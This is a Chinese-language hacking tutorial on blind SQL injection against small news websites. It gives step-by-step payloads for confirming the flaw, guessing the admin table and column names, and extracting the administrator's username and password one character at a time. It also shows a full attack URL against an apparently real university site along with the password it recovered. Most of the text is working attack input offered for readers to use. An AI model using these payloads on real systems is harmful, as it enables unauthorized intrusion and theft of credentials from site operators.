一般國內的小一點的新聞網站程式 都有 ""&request 這種漏洞,下面我講解攻擊方法
在地址欄:
and 1=1
查看漏洞是否存在,如果存在就正常返回該頁,如果沒有,則顯示錯誤,繼續假設這個站的資料庫存在一個admin表
在地址欄:
and 0<>(select count(*) from admin)
返回頁正常,假設成立了。
下面來猜猜看一下管理員表裡面有幾個管理員ID:
and 1<(select count(*) from admin)
頁面什麼都沒有。管理員的數量等於或者小於1個
and 1=(select count(*) from admin)
輸入=1沒顯示錯誤,說明此網站只有一個管理員。
下面就是要繼續猜測admin 裡面關於管理使用者名和密碼的欄位名稱。
and 1=(select count(*) from admin where len(username)>0)
猜解錯誤!不存在 username 這個欄位。只要一直改變括弧裡面的username這個欄位,下面給大家幾個常用的
user,users,member,members,userlist,memberlist,userinfo,admin,manager,使用者,yonghu
使用者名稱稱欄位猜解完成之後繼續猜解密碼欄位
and 1=(select count(*) from admin where len(password)>0)
password 欄位存在!因為密碼欄位一般都是這個拉,如果不是就試試pass如果還不是就自己想想吧
我們已經知道了管理員表裡面有3個欄位 id,user,password。
id 編號
user 使用者名稱
password 密碼
下面繼續的就是管理使用者名和密碼的猜解了。一個一個來,有點麻煩,最好找個猜解機來
先猜出長度!
and 1=(select count(*) from admin where len(user)<10)
user 欄位長度小於10
and 1=(select count(*) from admin where len(user)<5)
user 欄位長度不小於5
慢慢的來,最後猜出長度等於6,請看下面,返回正常就說明猜解正確
and 1=(select count(*) from admin where len(user)=6)
下面猜密碼,
and 1=(select count(*) from admin where len(password)=10)
猜出來密碼10位,不要奇怪,現在網管都有防備的,所以密碼上20位也不太奇怪了
下面該做的就是把他們拆開來一個一個猜字母
and 1=(select count(*) from admin where left(user,1)=a)
返回正常,第一位字母等於a,千萬不要把大寫和小寫給搞錯了哦~~呵呵,如果不a就繼續猜其他的字元落,反正猜到返回正常就算OK了
開始猜解帳號的第二位字元。
and 1=(select count(*) from admin where left(user,2)=ad)
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
工作還沒有完,別忙著跑了,還有10位密碼,呵呵
and 1=(select count(*) from admin where left(password,1)=a)
經過無數次錯誤之後......
http://xyz.hytc.edu.cn/new2/article_view.asp?id=2499 and 1=(select count(*) from admin where left(password,10)=administra)
結果密碼是administra
看完文章,大家不要照著我的文章做,網路上的東西是變幻無窮的,但是我相信大家的大腦肯定比他變得快,所以希望大家看了這個文章靈活運用!那樣才能達到理想的效果。